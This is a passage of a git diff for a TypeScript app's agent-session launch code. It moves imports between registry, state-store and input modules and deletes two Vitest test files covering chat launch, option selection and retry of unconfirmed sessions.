 import { StructuredAgentSessionOwnerUnresolvedError } from './structured-agent-session-launch-errors'
 import {
   createStructuredLaunchCallerGroup,
   type StructuredLaunchCallerGroup
 } from './structured-agent-session-launch-callers'
+
+import { structuredLaunchIdentity } from './structured-agent-session-launch-registry'
 import {
   getPersistedStructuredAgentLaunchRecord,
   setStructuredLaunchState,
-  structuredLaunchIdentity,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
+
 import {
   initialStructuredLaunchSelection,
   structuredLaunchSelectionController
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-request.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-request.ts
index dac1ce89d8d..d81eb0ecdc1 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-request.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-request.ts
@@ -1,4 +1,4 @@
-import type { StagedStructuredLaunchPrompt } from './structured-agent-session-launch-prompt'
+import type { StagedStructuredLaunchPrompt } from './structured-agent-session-staged-prompt'
 import type { AgentLaunchRequestId } from './routing/agent-launch-request-id'
 
 /** A new start's own create keeps its request and the text it staged; a Retry or re-check of an
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-resume-identity.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-resume-identity.test.ts
index eec4a76ac60..c6c8982ce13 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-resume-identity.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-resume-identity.test.ts
@@ -49,7 +49,7 @@ vi.mock('@/store/index', () => ({
   }
 }))
 
-import { getStructuredAgentSessionLaunchResumes } from './structured-agent-session-launch-registry'
+import { getStructuredAgentSessionLaunchResumes } from './structured-agent-session-launch-input'
 import { startStructuredAgentLaunch } from './structured-agent-session-launch'
 
 /** The create is dispatched off a microtask, so every assertion on it has to drain them first. */
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-selection-admission.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-selection-admission.test-fixture.ts
deleted file mode 100644
index 91774c43d3c..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-selection-admission.test-fixture.ts
+++ /dev/null
@@ -1,288 +0,0 @@
-import { act, renderHook } from '@testing-library/react'
-import { expect, it, vi } from 'vitest'
-import { useStructuredAgentSessionOptions } from '@/components/native-chat/session/options/structured/use-structured-agent-session-options'
-import { writeNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { getStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner'
-import { useNativeChatProvisionalLaunch } from '@/components/native-chat/host-access/use-native-chat-provisional-launch'
-import {
-  getStructuredAgentSessionPendingSends,
-  structuredAgentSessionSendOut
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { structuredConversationCommandRunner } from '@/components/native-chat/session/structured/writes/structured-conversation-command-send'
-import { sendMessageToAgent } from '../messaging/agent-message-send'
-import { recordHostModelCatalogSnapshot } from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
-import { getStructuredLaunchStateBySessionId } from './structured-agent-session-launch-registry'
-import { structuredSessionSelectionController } from '../options/structured-agent-session-selection-controller'
-import {
-  mocks,
-  deferred,
-  start,
-  createParams,
-  target,
-  created,
-  draft
-} from './structured-agent-session-launch-create-message.test-fixture'
-
-export function registerCreateSelectionAdmissionTests(): void {
-  it.each([
-    { key: 'model', afterFreeze: false },
-    { key: 'effort', afterFreeze: false },
-    { key: 'model', afterFreeze: true }
-  ] as const)(
-    'admits a new $key pick after unknown create completion with a later held pick=$afterFreeze',
-    async ({ key, afterFreeze }) => {
-      const models = ['gpt-5.3-codex', 'gpt-5.4', 'gpt-5.5'].map((id) => ({
-        id,
-        label: id,
-        isDefault: id === 'gpt-5.5',
-        efforts: ['low', 'high'].map((value) => ({ value, label: value }))
-      }))
-      recordHostModelCatalogSnapshot(target, 'codex', null, {
-        origin: 'probe',
-        fetchedAt: 1,
-        defaultHoldsInEveryWorkspace: true,
-        models
-      })
-      const create = deferred<unknown>()
-      const applied = deferred<unknown>()
-      const refused = deferred<unknown>()
-      const notesReply = deferred<unknown>()
-      let optionReply = applied.promise
-      let current = { model: 'gpt-5.4', effort: 'high' }
-      mocks.call.mockImplementation((_target, method) => {
-        if (method === 'agentSession.create') {
-          return create.promise
-        }
-        if (method === 'agentSession.history') {
-          return Promise.resolve({ ok: true, page: created().value.page })
-        }
-        if (method === 'agentSession.send') {
-          return notesReply.promise
-        }
-        if (method === 'agentSession.setOption') {
-          return optionReply
-        }
-        if (method === 'agentSession.options') {
-          return Promise.resolve({ models, current })
-        }
-        if (method === 'agentSession.modelCatalog') {
-          return Promise.resolve({ origin: 'live-session', fetchedAt: 1, models })
-        }
-        return new Promise(() => {})
-      })
-      const launch = start()
-      const { result, rerender, unmount } = renderHook(
-        ({ ready }) =>
-          useStructuredAgentSessionOptions({
-            agent: 'codex',
-            sessionId: launch.sessionId,
-            target,
-            transportEnabled: ready,
-            providerVisible: ready,
-            providerStarting: !ready,
-            isVisible: false,
-            fence: ready ? 1 : null,
-            turnId: null,
-            unloadedTurnRevisions: undefined,
-            mutate: async () => null,
-            launch: { kind: 'new' }
-          }),
-        { initialProps: { ready: false } }
-      )
-      await act(async () => {
-        expect(await result.current.setStructuredOption('model', 'gpt-5.4')).toBe(true)
-        expect(await result.current.setStructuredOption('effort', 'high')).toBe(true)
-      })
-      await vi.waitFor(() => expect(createParams().firstMessage).toBeDefined())
-      const original = structuredClone(createParams())
-      expect(original.options).toEqual({ model: 'gpt-5.4', effort: 'high' })
-      const owner = structuredSessionSelectionController(target, launch.sessionId, 'codex')
-      const frozen = owner.pending()
-      expect(frozen).toHaveLength(2)
-      expect(frozen.every((operation) => operation.transmitted)).toBe(true)
-      if (afterFreeze) {
-        await act(async () => {
-          expect(await result.current.setStructuredOption(key, 'gpt-5.3-codex')).toBe(true)
-        })
-      }
-      await act(async () => {
-        await vi.advanceTimersByTimeAsync(30_000)
-      })
-      await expect(launch.launchResult).rejects.toThrow('Opening message outcome unknown.')
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-        delivered: false,
-        unconfirmed: true
-      })
-      expect(frozen.map((operation) => operation.outcome)).toEqual([
-        { kind: 'unknown' },
-        { kind: 'unknown' }
-      ])
-      const complete = vi.fn()
-      void launch.promptDeliveryResult?.then(complete)
-      rerender({ ready: true })
-      await act(async () => {
-        await vi.advanceTimersByTimeAsync(0)
-      })
-      expect(result.current.sendSource.optionStateRef.current.optionsAnswerPresent).toBe(true)
-      if (afterFreeze) {
-        const provisional = renderHook(() =>
-          useNativeChatProvisionalLaunch('workspace-1', launch.sessionId)
-        )
-        expect(provisional.result.current).toMatchObject({
-          starting: false,
-          transportEnabled: true,
-          lifecycle: 'visibility-unknown'
-        })
-        expect(structuredAgentSessionSendOut(launch.sessionId)).toBe(false)
-        const readOwner = getStructuredAgentSessionReadOwner(launch.sessionId, target)
-        await readOwner.admit(
-          'switch-after-opening',
-          () => true,
-          (admission) => {
-            expect(admission.busy()).toBe(false)
-          }
-        )
-        const pending = { current: false }
-        const commandSend = vi.fn(async () => ({ kind: 'dropped' as const }))
-        const command = structuredConversationCommandRunner({
-          agentName: 'Codex',
-          pending,
-          commandsWait: false,
-          chat: {
-            turnId: null,
-            isWorking: false,
-            queueSendsNext: false,
-            backgroundTasks: { isMonitoring: false, show: false },
-            submissions: []
-          },
-          prompts: [],
-          rewindInFlight: { current: false },
-          sends: getStructuredAgentSessionPendingSends(launch.sessionId),
-          items: () => [],
-          send: commandSend
-        })
-        await expect(command.runConversationCommand('clear')).resolves.toEqual({
-          accepted: false,
-          error: null
-        })
-        expect(commandSend).toHaveBeenCalledOnce()
-        expect(pending.current).toBe(false)
-        mocks.tabs = [
-          {
-            id: 'opening-tab',
-            entityId: launch.sessionId,
-            contentType: 'agent-session',
-            executionHostId: 'local',
-            worktreeId: 'workspace-1',
-            groupId: 'group-1',
-            label: 'Codex Chat',
-            customLabel: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-        const notes = sendMessageToAgent({
-          worktreeId: 'workspace-1',
-          target: { kind: 'structured-session', sessionId: launch.sessionId },
-          prompt: 'Review the next full notes without resending the opening.'
-        })
-        await vi.waitFor(() => expect(structuredAgentSessionSendOut(launch.sessionId)).toBe(true))
-        await readOwner.admit(
-          'switch-during-notes',
-          () => true,
-          (admission) => {
-            expect(admission.busy()).toBe(true)
-          }
-        )
-        notesReply.resolve({
-          ok: false,
-          refusal: {
-            code: 'agent_session_conflict',
-            message: 'The host queue sends first.',
-            details: { reason: 'queuedMessagesAhead' }
-          }
-        })
-        await expect(notes).resolves.toEqual({
-          status: 'not-writable',
-          code: 'session-send-refused'
-        })
-        expect(structuredAgentSessionSendOut(launch.sessionId)).toBe(false)
-        expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toMatchObject([
-          { clientMessageId: original.firstMessage?.clientMessageId, phase: 'unconfirmed' }
-        ])
-        provisional.unmount()
-      }
-      const newer = key === 'model' ? 'gpt-5.5' : 'low'
-      let choice!: Promise<boolean>
-      act(() => {
-        choice = result.current.setStructuredOption(key, newer)
-      })
-      const writes = () =>
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.setOption')
-      expect(writes()).toHaveLength(1)
-      expect(writes()[0]?.[2]).toMatchObject({ key, value: newer })
-      const live = owner.current(key)
-      expect(live).not.toBe(frozen.find((operation) => operation.key === key))
-      expect(owner.isPending(key)).toBe(true)
-      await act(async () => {
-        expect(
-          await result.current.setStructuredOption(key, key === 'model' ? 'gpt-5.4' : 'high')
-        ).toBe(false)
-      })
-      expect(writes()).toHaveLength(1)
-      writeNativeChatDraftCache(
-        structuredAgentSessionDraftScopeKey(launch.sessionId),
-        'newer draft'
-      )
-      const raw = getStructuredLaunchStateBySessionId(launch.sessionId)?.promise
-      await act(async () => {
-        create.resolve(created(original))
-        await raw
-      })
-      expect(owner.current(key)).toBe(live)
-      expect(owner.isPending(key)).toBe(true)
-      expect(live?.outcome).toBeUndefined()
-      expect(createParams()).toEqual(original)
-      const read = getStructuredAgentSessionReadOwner(launch.sessionId, target).getSnapshot().state
-      expect(
-        read.submissions.some(
-          (row) => row.clientMessageId === original.firstMessage?.clientMessageId
-        )
-      ).toBe(true)
-      current = { ...current, [key]: newer }
-      await act(async () => {
-        applied.resolve({ ok: true, value: { options: current } })
-        expect(await choice).toBe(true)
-      })
-      expect(live?.outcome).toMatchObject({ kind: 'accepted', options: current })
-      optionReply = refused.promise
-      let rejected!: Promise<boolean>
-      act(() => {
-        rejected = result.current.setStructuredOption(key, key === 'model' ? 'gpt-5.4' : 'high')
-      })
-      expect(writes()).toHaveLength(2)
-      await act(async () => {
-        refused.resolve({
-          ok: false,
-          refusal: {
-            code: 'agent_session_operation_invalid',
-            details: { reason: 'optionRejected' }
-          }
-        })
-        expect(await rejected).toBe(false)
-      })
-      expect(owner.isPending(key)).toBe(false)
-      expect(complete).toHaveBeenCalledOnce()
-      expect(draft(launch.sessionId)).toBe('newer draft')
-      expect(
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-      ).toHaveLength(1)
-      expect(
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')
-      ).toHaveLength(afterFreeze ? 1 : 0)
-      unmount()
-    }
-  )
-}
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-source-handoff.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-source-handoff.ts
index acb1734fa13..c6833abc607 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-source-handoff.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-source-handoff.ts
@@ -2,7 +2,7 @@ import { structuredAgentSessionCreateFingerprint } from '../../../../../shared/a
 import {
   setStructuredLaunchState,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 
 // Joiners without the source terminal survive its close: hand off unsent create to conversation-ID resume, as History does.
 export function releaseStructuredLaunchSource(state: StructuredLaunchState): void {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-status.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-status.ts
index 8a54e05ea66..a7eb88af070 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-status.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-status.ts
@@ -2,10 +2,10 @@ import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-ag
 import { structuredLaunchesHoldingIdentity } from './structured-agent-session-launch-holders'
 import {
   structuredLaunchIdentity,
-  structuredLaunchStates,
-  structuredAgentSessionLaunchHasRetainedInput,
   type StructuredAgentLaunchStatus
 } from './structured-agent-session-launch-registry'
+import { structuredLaunchStates } from './structured-agent-session-launch-state-store'
+import { structuredAgentSessionLaunchHasRetainedInput } from './structured-agent-session-launch-input'
 
 /** Whether a chat for this pair is being created here: its own first create, or an adoption. */
 export function getStructuredAgentLaunchStatus(
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts
index 064325213ac..046ff0820dc 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts
@@ -18,15 +18,13 @@ import {
   readStructuredAgentLaunchRecords,
   writeStructuredAgentLaunchRecord
 } from './structured-agent-session-launch-persistence'
-import {
-  getStructuredAgentSessionLaunchOwner,
-  getStructuredLaunchStateBySessionId
-} from './structured-agent-session-launch-registry'
+import { getStructuredAgentSessionLaunchOwner } from './structured-agent-session-launch-registry'
+import { getStructuredLaunchStateBySessionId } from './structured-agent-session-launch-state-store'
 import {
   structuredAgentSessionFocusOwner,
   structuredAgentSessionTargetForHost
 } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
-import { holdFrameDrawnProvisionalChatTab } from '../../frame-drawn-chat-tab-placement'
+import { holdFrameDrawnProvisionalChatTab } from '../../../store/workspace-layout/frames/frame-drawn-chat-tab-placement'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
 import {
   openAgentSessionTabThroughLayoutOwner,
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-or-retried.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-or-retried.test.ts
deleted file mode 100644
index 69930954e0b..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-or-retried.test.ts
+++ /dev/null
@@ -1,318 +0,0 @@
-// @vitest-environment happy-dom
-
-import { sourceControlActionRecipeEntry } from '../../../../../shared/source-control/ai/recipes/source-control-action-selection'
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-
-const mocks = vi.hoisted(() => ({
-  abandonIntent: vi.fn(),
-  callStructuredAgentSession: vi.fn(),
-  createIntent: vi.fn(),
-  retryIntent: vi.fn(),
-  restoreIntent: vi.fn(),
-  launch: vi.fn(),
-  seedDraft: vi.fn(),
-  clearDraft: vi.fn(),
-  toastError: vi.fn()
-}))
-
-vi.mock('sonner', () => ({ toast: { error: mocks.toastError, message: vi.fn() } }))
-
-const launchErrorMocks = vi.hoisted(() => {
-  class StructuredAgentSessionCreateRefusalError extends Error {}
-  return { StructuredAgentSessionCreateRefusalError }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-errors', async () => ({
-  ...(await vi.importActual<typeof LaunchErrors>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-  )),
-  ...launchErrorMocks
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: mocks.launch
-}))
-
-vi.mock('@/lib/launch-structured-agent-session', () => {
-  return {
-    createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
-    restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent,
-    launchStructuredAgentSession: mocks.launch,
-    StructuredAgentSessionCreateRefusalError:
-      launchErrorMocks.StructuredAgentSessionCreateRefusalError
-  }
-})
-
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionTabs: vi.fn()
-}))
-
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: mocks.callStructuredAgentSession
-}))
-
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      unifiedTabsByWorktree: {},
-      seedNativeChatLaunchDraft: mocks.seedDraft,
-      clearNativeChatLaunchDraft: mocks.clearDraft
-    }),
-    subscribe: () => () => undefined
-  }
-}))
-
-vi.mock('@/i18n/i18n', () => ({
-  translate: (_key: string, fallback: string) => fallback
-}))
-
-vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
-  getAgentLabel: () => 'Codex',
-  getAgentCatalog: () => [{ id: 'codex', label: 'Codex' }]
-}))
-
-vi.mock('@/components/terminal-pane/input/focus/focus-terminal-tab-surface', () => ({
-  focusTerminalTabSurface: vi.fn()
-}))
-
-// The structured route hands the launch's own delivery result back unchanged.
-vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', async () => {
-  const launch = await import('./structured-agent-session-launch')
-  return {
-    launchAgentInNewTab: (args: {
-      requestId: string
-      worktreeId: string
-      prompt: string
-      promptDelivery: 'auto-submit' | 'draft' | 'submit-after-ready'
-    }) => {
-      const started = launch.startStructuredAgentLaunch(args.worktreeId, 'codex', {
-        requestId: args.requestId,
-        prompt: args.prompt,
-        promptDelivery: args.promptDelivery
-      })
-      return {
-        surface: { kind: 'agent-session', sessionId: started.sessionId },
-        ...(started.promptDeliveryResult
-          ? { promptDeliveryResult: started.promptDeliveryResult }
-          : {})
-      }
-    }
-  }
-})
-
-import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import { runSourceControlAgentActionStart } from '@/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  resetStructuredAgentLaunchRegistryForTests
-} from './structured-agent-session-launch-registry'
-import {
-  retryStructuredAgentSessionLaunch,
-  startStructuredAgentLaunch
-} from './structured-agent-session-launch'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-
-const WORKTREE_ID = 'wt-unconfirmed-or-retried'
-
-function launchIntent(sessionId: string): StructuredAgentSessionLaunchIntent {
-  return {
-    worktreeId: WORKTREE_ID,
-    sessionId,
-    executionHostId: 'local',
-    target: { kind: 'local' },
-    agent: 'codex',
-    params: {
-      envelope: {
-        sessionId,
-        clientOperationId: `operation-${sessionId}`,
-        expectedRuntimeFence: null,
-        payloadFingerprint: `fingerprint-${sessionId}`
-      },
-      worktree: `id:${WORKTREE_ID}`,
-      agent: 'codex'
-    }
-  }
-}
-
-function publishedSnapshot(sessionId: string): RuntimeMobileSessionTabsResult {
-  return {
-    worktree: WORKTREE_ID,
-    publicationEpoch: 'epoch-1',
-    snapshotVersion: 1,
-    activeGroupId: null,
-    activeTabId: null,
-    activeTabType: null,
-    tabs: [
-      {
-        type: 'agent-session',
-        id: `tab-${sessionId}`,
-        title: 'Codex',
-        sessionId,
-        agent: 'codex',
-        isActive: false
-      }
-    ]
-  }
-}
-
-async function flushLaunchSettlement(): Promise<void> {
-  for (let i = 0; i < 20; i += 1) {
-    await Promise.resolve()
-  }
-}
-
-const unconfirmed = launchIntent('session-unconfirmed')
-const fresh = launchIntent('session-new')
-const resumeFrom = { providerSessionId: 'provider-1' }
-
-/** The create's answer is lost and inventory never shows the chat: it stays unconfirmed. */
-async function leaveFirstLaunchUnconfirmed(options: { resume?: boolean } = {}): Promise<void> {
-  mocks.createIntent
-    .mockReturnValueOnce(
-      options.resume
-        ? { ...unconfirmed, params: { ...unconfirmed.params, resumeFrom } }
-        : unconfirmed
-    )
-    .mockReturnValueOnce(fresh)
-  startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-    requestId: 'request-1',
-    prompt: 'first task',
-    ...(options.resume ? { resumeFrom } : {})
-  })
-  await flushLaunchSettlement()
-  expect(getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, unconfirmed.sessionId)).toBe(
-    'visibility-unknown'
-  )
-}
-
-function expectSentTo(sessionId: string, text: string): void {
-  expect(mocks.callStructuredAgentSession).toHaveBeenCalledWith(
-    { kind: 'local' },
-    'agentSession.send',
-    expect.objectContaining({
-      envelope: expect.objectContaining({ sessionId }),
-      body: expect.objectContaining({ blocks: [{ type: 'text', text }] })
-    })
-  )
-}
-
-describe('a new start beside an unconfirmed or retried chat', () => {
-  beforeEach(() => {
-    vi.resetAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentLaunchRegistryForTests()
-    mocks.retryIntent.mockImplementation((intent: StructuredAgentSessionLaunchIntent) => intent)
-    mocks.restoreIntent.mockImplementation((args: { sessionId: string }) =>
-      launchIntent(args.sessionId)
-    )
-    mocks.launch.mockImplementation((intent: StructuredAgentSessionLaunchIntent) =>
-      intent.sessionId === fresh.sessionId
-        ? Promise.resolve({ sessionId: fresh.sessionId, fence: 1 })
-        : Promise.reject(new Error('response lost'))
-    )
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
-      publishedSnapshot(fresh.sessionId)
-    ])
-    mocks.callStructuredAgentSession.mockResolvedValue({
-      ok: true,
-      page: { fence: 1 },
-      value: { submission: { dispatchState: 'accepted' } }
-    })
-  })
-
-  it('starts a source-control agent in a new chat and reports success only once its text is sent', async () => {
-    await leaveFirstLaunchUnconfirmed()
-    const onLaunched = vi.fn()
-
-    const started = await runSourceControlAgentActionStart({
-      selectedAgent: 'codex',
-      trimmedCommandInput: 'Fix the failing check',
-      recipe: sourceControlActionRecipeEntry({ commandInputTemplate: '{basePrompt}' }),
-      saveTargetValue: 'none',
-      actionId: 'resolveComments',
-      repo: null,
-      worktreeId: WORKTREE_ID,
-      promptDelivery: 'submit-after-ready',
-      launchSource: 'source_control_recovery',
-      onLaunched,
-      onClose: vi.fn()
-    })
-
-    expect(started).toBe(true)
-    expect(onLaunched).toHaveBeenCalledOnce()
-    expect(mocks.createIntent).toHaveBeenCalledTimes(2)
-    expectSentTo(fresh.sessionId, 'Fix the failing check')
-    expect(mocks.toastError).not.toHaveBeenCalled()
-  })
-
-  it('sends notes to a new chat while another chat is unconfirmed', async () => {
-    await leaveFirstLaunchUnconfirmed()
-
-    const notes = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'request-2',
-      prompt: 'review notes',
-      promptDelivery: 'submit-after-ready'
-    })
-
-    expect(notes.sessionId).toBe(fresh.sessionId)
-    await expect(notes.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    expectSentTo(fresh.sessionId, 'review notes')
-    // The unconfirmed chat is left for its own re-check.
-    expect(getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, unconfirmed.sessionId)).toBe(
-      'visibility-unknown'
-    )
-  })
-
-  it("opens a new chat with its text, not a draft, while a restored chat's Retry is in flight", async () => {
-    const failed = launchIntent('session-failed')
-    mocks.createIntent.mockReturnValueOnce(failed).mockReturnValueOnce(fresh)
-    mocks.launch.mockRejectedValueOnce(new StructuredAgentSessionCreateRefusalError('unsupported'))
-    startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'request-3',
-      prompt: 'first task'
-    })
-    await flushLaunchSettlement()
-    // Reload: the registry is memory; the failed record is what survives.
-    resetStructuredAgentLaunchRegistryForTests()
-    mocks.launch.mockImplementationOnce(() => new Promise(() => undefined))
-    expect(retryStructuredAgentSessionLaunch(WORKTREE_ID, failed.sessionId)).toBe(true)
-    mocks.seedDraft.mockClear()
-
-    const next = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'request-4',
-      prompt: 'fix it',
-      promptDelivery: 'submit-after-ready'
-    })
-
-    expect(next.sessionId).toBe(fresh.sessionId)
-    await expect(next.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    expectSentTo(fresh.sessionId, 'fix it')
-    expect(mocks.seedDraft).not.toHaveBeenCalled()
-  })
-
-  it('never joins a resume of the same conversation id running on another host', async () => {
-    await leaveFirstLaunchUnconfirmed({ resume: true })
-
-    const remote = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'request-9',
-      resumeFrom,
-      executionHostId: 'runtime:server-1'
-    })
-
-    expect(remote.sessionId).not.toBe(unconfirmed.sessionId)
-    expect(mocks.createIntent).toHaveBeenCalledTimes(2)
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts
index ace4496058e..73d90f3339d 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts
@@ -4,10 +4,10 @@ import { confirmStructuredLaunchFirstMessagePublication } from './structured-age
 import { retryStructuredAgentSessionLaunch } from './structured-agent-session-launch'
 import {
   getStructuredAgentSessionLaunchLifecycle,
-  getStructuredAgentSessionLaunchOwner,
-  structuredLaunchStates,
-  structuredAgentSessionLaunchHasRetainedInput
+  getStructuredAgentSessionLaunchOwner
 } from './structured-agent-session-launch-registry'
+import { structuredLaunchStates } from './structured-agent-session-launch-state-store'
+import { structuredAgentSessionLaunchHasRetainedInput } from './structured-agent-session-launch-input'
 
 /** On host inventory reconnect, recheck its unconfirmed launches as Retry does. Settle published/failed; still-unknown waits for the next return, and cancellation skips. */
 export function recheckUnconfirmedStructuredAgentLaunches(executionHostId: ExecutionHostId): void {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test-fixture.ts
index 1fbf4fe56ad..e7d8074ad3e 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test-fixture.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test-fixture.ts
@@ -1,10 +1,21 @@
 // @vitest-environment happy-dom
 
+import { afterEach, beforeEach, vi } from 'vitest'
+import type { Mock } from 'vitest'
+import { resetStructuredAgentSessionSendsForTests } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
+import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
+import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
+import { readNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
+import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
+import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
+import { resetStructuredAgentLaunchRegistryForTests } from './structured-agent-session-launch-registry'
+import { useAppStore } from '@/store/index'
+import { registerStructuredSelectionCatalogStore } from '../options/structured-agent-session-selection-controller'
+import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { afterEach, beforeEach, vi, type Mock } from 'vitest'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
 import type * as RecoveryModule from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
+import type { StructuredAgentSessionLaunchIntent } from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
 
 type LaunchMocks = Record<
   | 'abandonIntent'
@@ -59,18 +70,21 @@ vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call'
   launchStructuredAgentSession: mocks.launch
 }))
 
-vi.mock('@/lib/launch-structured-agent-session', () => {
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-intent', () => {
   return {
     createStructuredAgentSessionLaunchIntent: mocks.createIntent,
     retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
     restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent,
     launchStructuredAgentSession: mocks.launch,
     StructuredAgentSessionCreateRefusalError:
       launchErrorMocks.StructuredAgentSessionCreateRefusalError
   }
 })
 
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-abandon', () => ({
+  abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent
+}))
+
 vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-recovery', async () => {
